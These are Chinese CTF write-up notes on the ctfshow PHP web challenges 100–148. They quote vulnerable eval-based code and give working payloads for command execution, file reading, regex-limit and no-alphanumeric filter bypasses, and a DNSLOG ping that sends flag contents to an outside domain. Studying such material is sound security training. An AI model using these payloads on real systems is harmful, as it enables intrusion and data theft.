web 100 hao
所以我们只要让v1是is_numeric就可以了。
这题的预期解是利用PHP中的反射类ReflectionClass,因为已经提示了flag在ctfshow这个类里,payload如下:
?v1=1&v2=echo new ReflectionClass&v3=;
当然因为这题没有什么过滤,所以命令执行也是可以的:
?v1=1&v2=system("ls")/*&v3=*/;
web 101
修复了非预期解,用预期解即可
web110 hao
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}
eval("echo new $v1($v2());");
}
考察点:FilesystemIterator类的使用
payload:v1=FilesystemIterator&v2=getcwd
题目的话有个缺陷,如果flag所在的文件不是排在第一位的话,我们可能就没有办法得到flag。
补充一个类
SplFileObject 读取文件,按行读取,多行需要遍历
也可以读php文件
web115
web123
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
比较难的地方就是$_POST['CTF_SHOW.COM']
的构造,想构造出.,需要前面带上[,后面用.就可以不变成_。当然也可以用脚本跑出来。
payload
CTF_SHOW=1&CTF[SHOW.COM=1&fun=extract($_POST)&fl0g=flag_give_me
CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag
GET:?1=flag.php POST:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1])
web126
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
get: a=1+fl0g=flag_give_me
post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
or
?$fl0g=flag_give_me;
CTF_SHOW=&CTF[SHOW.COM=&fun=eval($a[0])
web128
$f1 = $_GET['f1'];
$f2 = $_GET['f2'];
if(check($f1)){
var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
echo "嗯哼?";
}
function check($str){
return !preg_match('/[0-9]|[a-z]/i', $str);
}
考察点:gettext拓展的使用
在开启该拓展后 _() 等效于 gettext()
<?php
echo gettext("phpinfo");
结果 phpinfo
echo _("phpinfo");
结果 phpinfo
所以 call_user_func(’_’,‘phpinfo’) 返回的就是phpinfo
因为我们要得到的flag就在flag.php中,所以可以直接用get_defined_vars
【*】get_defined_vars ( void ) : array
此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
payload:f1=_&f2=get_defined_vars
web129
if(isset($_GET['f'])){
$f = $_GET['f'];
if(stripos($f, 'ctfshow')>0){
echo readfile($f);
}
}
我们也可以用php伪协议绕过
payload:f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php
or
?f=php://filter/ctfshow/resource=flag.php
?f=/ctfshow/…/…/…/…/var/www/html/flag.php
filter伪协议支持多种编码方式,无效的就被忽略掉了。
web131
include("flag.php");
if(isset($_POST['f'])){
$f = $_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f, 'ctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}
考察点:利用正则最大回溯次数绕过
PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit
回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false。这样我们就可以绕过第一个正则表达式了。
import requests
url="http://03771c3c-6afb-4457-a719-19cc6ccf922e.chall.ctf.show/"
data={
'f':'very'*250000+'36Dctfshow'
}
r=requests.post(url,data=data)
print(r.text)
web132
if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
$username = (String)$_GET['username'];
$password = (String)$_GET['password'];
$code = (String)$_GET['code'];
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
if($code == 'admin'){
echo $flag;
}
}
}
因为||的优先级低于&&所以可以这样理解
if(($code === mt_rand(1,0x36D) && $password === $flag )||( $username ==="admin")){
所以满足username==="admin"就可以了。
web133 hao
从这道题真的发现了自己的一些问题,思维和意识还是太差了。
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
eval(substr($F,0,6));
}else{
die("6个字母都还不够呀?!");
}
}
法一 curl外带,后面有空再搞把。
法二 dns
利用工具:DNSLOG
利用ping的原理就是DNS请求:
如果请求的目标不是ip地址而是域名,那么域名最终还要转化成ip地址,
就肯定要做一次域名解析请求。那么假设我有个可控的二级域名,
那么它发出三级域名解析的时候,我这边是能够拿到它的域名解析请求的,
这就相当于可以配合DNS请求进行命令执行的判断,这一般就被称为dnslog。
(要通过dns请求即可通过ping命令,也能通过curl命令,只要对域名进行访问,
让域名服务器进行域名解析就可实现)
?F=`$F` ;ping `awk '/flag/' flag.php`.oywkie.dnslog.cn
web134 hao
这个题让我对变量覆盖有了更深的理解吧。
<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
die(file_get_contents('flag.php'));
}
先是这两个函数配合
parse_str($_SERVER[‘QUERY_STRING’]);
把GET传的,变成变量
然后extract($_POST);
POST变量覆盖;
payload:
?_POST[key1]=36d&_POST[key2]=36d
web135
get传参 F=`$F `;sleep 3
经过substr($F,0,6)截取后 得到 `$F `;
也就是会执行 eval("`$F `;");
我们把原来的$F带进去
eval("``$F `;sleep 3`");
也就是说最终会执行 ` `$F `;sleep 3 ` == shell_exec("`$F `;sleep 3");
前面的命令我们不需要管,但是后面的命令我们可以自由控制。
这样就在服务器上成功执行了 sleep 3
所以 最后就是一道无回显的RCE题目了
?F=`$F` ;ls;
无回显,应该是一道无回显的RCE题目了
我们可以写入文件
?F=`$F` ;ls>1;
?F=`$F` ;nl flag.php>1;
web136 hao
Linux的管道命令竖线(|)
用法: command 1 | command 2 他的功能是把第一个命令
command 1执行的结果作为command 2的输入传给command 2。
使用指令"tee"将用户输入的数据同时保存到文件"file1"和"file2"中,输入如下命令:
$ tee file1 file2
也可以搞一个文件。
这题主要问题就是ban了.和<>,因为ban了.,所以很难反弹shell,那些命令的ban并没有什么用,用’’,"",``都可以绕过。
又学习到了把命令执行的内容写入文件的一种新姿势:
ls /|tee 1
就可以把ls /执行的结果写入1这个文件中,剩下的就是正常的命令执行了。
web137
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}
call_user_func($_POST['ctfshow']);
刚开始没反应过来,就一个回调函数。。。
payload:
ctfshow=ctfshow::getFlag
web138
跟web137差不多过滤了:
call_user_func(array($classname, 'say_hello'));
这时候会调用 classname中的 say_hello方法
payload:
ctfshow[0]=ctfshow&ctfshow[1]=getFlag
web140
if(isset($_POST['f1']) && isset($_POST['f2'])){
$f1 = (String)$_POST['f1'];
$f2 = (String)$_POST['f2'];
if(preg_match('/^[a-z0-9]+$/', $f1)){
if(preg_match('/^[a-z0-9]+$/', $f2)){
$code = eval("return $f1($f2());");
if(intval($code) == 'ctfshow'){
echo file_get_contents("flag.php");
}
}
}
}
intval会将非数字字符转换为0,也就是说 intval('a')==0 intval('.')==0 intval('/')==0
而php中 0==‘字符串’
构造就可以了;
f1=current&f2=localeconv
md5(phpinfo())
md5(sleep())
md5(md5())
current(localeconv)
sha1(getcwd()) 因为/var/www/html md5后开头的数字所以我们改用sha1
web141 hao
无数字字母rce
就是利用~取反
echo urlencode(~'system');
echo ~(urldecode('%8C%86%8C%8B%9A%92'));
得到
%8C%86%8C%8B%9A%92
system
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/^\W+$/', $v3)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
return会中止当前字符串的执行。什么意思呢,看这两个例子:
eval("phpinfo();return 1;");
eval("return 1;phpinfo();")
第一句会执行phpinfo(),但是第二句不行,因为return后就中止了。
但是这样可以:eval(“return phpinfo();”)
因此v3肯定是命令执行,但是v1v2又怎么弄呢?PHP里面数字是可以和一些命令进行运算,例如1-phpinfo()-1
,这样仍然可以执行phpinfo(),因此构造就很明显了。中单的v3用无数字字母rce就可以:
?v1=1&v2=1&v3=-(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F)-
web143 hao
用异或
因为有retrun,用 * ,^
v1=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%00"^"%7f%60%60%20%60%2a")*&v2=1
?v1=1&v2=1&v3=^(%80%80%80%80%80%80^%F3%F9%F3%F4%E5%ED)(%80%80%80%80%80^%E3%E1%F4%A0%AA)^
web145
考察点:三目运算符的妙用
小测试
eval("return 1?phpinfo():1;");
这样是可以执行phpinfo()的
所以只需要在前面的payload上稍加改动就可以了
payload:
v1=1&v3=?(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5):&v2=1
取反和或都没ban:
?v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D5)|
web147 hao
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-19 02:04:38
*/
highlight_file(__FILE__);
if(isset($_POST['ctf'])){
$ctfshow = $_POST['ctf'];
if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
$ctfshow('',$_GET['show']);
}
}
考察create_function(),
create_function('$a','echo $a."123"')
类似于
function f($a) {
echo $a."123";
}
但是有个正则要绕过,
可以在函数名前加上命名空间
system =>\system
\是全局命名空间
php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名
function_name()调用,调用的时候其实相当于写了一个相对路 径; 而如果写\function_name()这样调用函
数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写法
?show=}system('cat flag.php');//
ctf=\create_function
用 } 闭合前面的{,用//或/*注释调后面 }
web148
error_reporting(0);
highlight_file(__FILE__);
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($_GET['ctf'], $_POST['show']);
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
可以直接异或
预期解是使用中文
?code=$哈="{{{"^"?<>/";${$哈}[哼](${$哈}[嗯]);&哼=system&嗯=tac f* "{{{"^"?<>/";
异或出来的结果是 _GET